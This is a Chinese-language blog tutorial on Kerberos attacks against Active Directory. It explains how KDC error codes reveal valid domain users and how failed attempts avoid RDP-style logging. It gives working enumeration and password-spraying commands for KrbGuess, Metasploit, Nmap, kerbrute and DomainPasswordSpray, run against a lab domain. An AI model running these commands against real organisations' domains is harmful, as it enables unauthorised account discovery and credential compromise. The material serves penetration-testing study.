天道酬勤

域安全-域用户的枚举与爆破

Kerberos

Kerberos是一种计算机网络认证协议,它允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。Kerberos的扩展产品也使用公开密钥加密方法进行认证。

Kerberos域用户枚举

由于Kerberos本身是一种基于身份认证的协议,所以也可对进行暴力破解或用户名枚举。

Kerberos服务所在端口为88端口,采用tcp连接。

为何能利用Kerberos域进行用户枚举?

  1. 利用Kerberos错误代码进行判断

    用户分别有三种状态:启用、禁用、不存在。

    三种状态的错误代码分别为:

    KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证

    KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销

    KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端

  2. 发送枚举/爆破请求时,不需要预先登录到域用户下,只要攻击者所控的机器可以与域控的KDC正常通信即可。
  3. 当Kerberos下的认证失败,在Windows日志中 不会记录为RDP爆破的事件ID(4625),而是”预身份验证”失败(ID:4771)。

枚举工具

Krbguess

工具简介

KrbGuess是一个小型简单的工具,可在安全测试期间使用它来针对Kerberos环境猜测有效的用户名。它允许您通过研究TGT请求对KDC服务器的响应来执行此操作。该工具适用于Microsoft Active Directory,MIT和Heimdal Kerberos实施。此外,它将检测帐户是否缺少预身份验证。

该工具随附一个包含用户名列表的文件,并为每个用户请求一个TGT,然后等待响应。如果KDC使用有效的TGT响应或显示一条错误消息,指出需要进行预身份验证,则已发现有效的用户名。为了提高性能,可以并行运行多个猜测(当前仅针对单个KDC)

用法:

Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]

参数详解:

KrbGuess [options]
        --help|-h       - you're reading it
        --realm|-r      - the name of the realm/domain
        --dict|-d       - the file containing the usernames to guess
        --server|-s     - the KDC/DC against which to do the guessing
        --threads|-t    - the maximum number of threads (default 40)
        --wait|-w       - wait ms when max threads reached (default 60ms)
        --output|-o     - log output to file

工具下载地址:krbguess

效果:

 

kerberos_enumusers

该工具是msf的内置模块,我们可以直接利用,命令如下:

use auxiliary/gather/kerberos_enumusers
set rhost [DC IP]
set user_file 字典文件

krb5-enum-users

这是Nmap工具的一个枚举脚本

用法:

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='hackergu.lab',userdb=C:\Users\Gu\Desktop\user.txt 192.168.1.2

使用Nmap探测,不会列出锁定或者禁用的用户。

所以,对比那两款工具的执行结果,我们不会看到guestkrbtgt的用户。

比较不错的域用户枚举字典:kerberos_enum_userlists

Kerberos域用户密码爆破

当尝试枚举或爆破用户时,由于策略的问题,很可能导致域账号被锁定。而默认允许的错误为5次,通常账户锁定后,需要等待30分钟才能恢复。(帐户被锁定后,即使输入正确的口令,也会提示口令错误)

所以,最好的办法就是通过单密码+用户列表的方式进行”喷射爆破”。

kerbrute

该工具可在非域主机上使用,保持主机与域控机器通信正常即可。

参数

> python kerbrute.py
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
                   [-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
                   [-dc-ip <ip_address>] [-threads THREADS]
                   [-outputfile OUTPUTFILE] [-no-save-ticket]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -user USER            User to perform bruteforcing
  -users USERS          File with user per line
  -password PASSWORD    Password to perform bruteforcing
  -passwords PASSWORDS  File with password per line
  -domain DOMAIN        Domain to perform bruteforcing
  -dc-ip <ip_address>   IP Address of the domain controller
  -threads THREADS      Number of threads to perform bruteforcing. Default = 1
  -outputfile OUTPUTFILE
                        File to save discovered user:password
  -no-save-ticket       Do not save retrieved TGTs with correct credentials

Examples:
        ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com

使用命令并配置参数:

python kerbrute.py -domain hackergu.lab -users C:\Users\Gu\Desktop\user.txt -password hackergu***** -dc-ip 192.168.1.2

效果:

从结果我们可以看到,成功破解administrator账户的密码,testuser用户密码猜测失败,而剩下的krbtgtguest用户处于锁定或者禁用状态。

DomainPasswordSpray

该工具是由powershell编写的脚本,可在当我们拿到域用户权限下使用。

下载地址:DomainPasswordSpray

工具使用

首先,我们需要获取可爆破且未锁定的用户。如下:

Import-Module .\DomainPasswordSpray.ps1
Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts

我们也可以将得到的用户输出到文本文档中,供爆破使用,命令如下:

Get-DomainUserList -Domain hackergu.lab -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

使用命令进行密码爆破:

Invoke-DomainPasswordSpray -Domain hackergu.lab -UserList .\userlist.txt -Password 'hackergu*****'

若使用密码字典,则使用-PasswordList参数。

总结

在内网中,尽量能搜集就先搜集,爆破枚举不到万不得已的情况,不要使用。

参考文章:http://test666.me/archives/344/

 

赞(1) 打赏
未经允许不得转载:HackerGu‘s Blog » 域安全-域用户的枚举与爆破
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏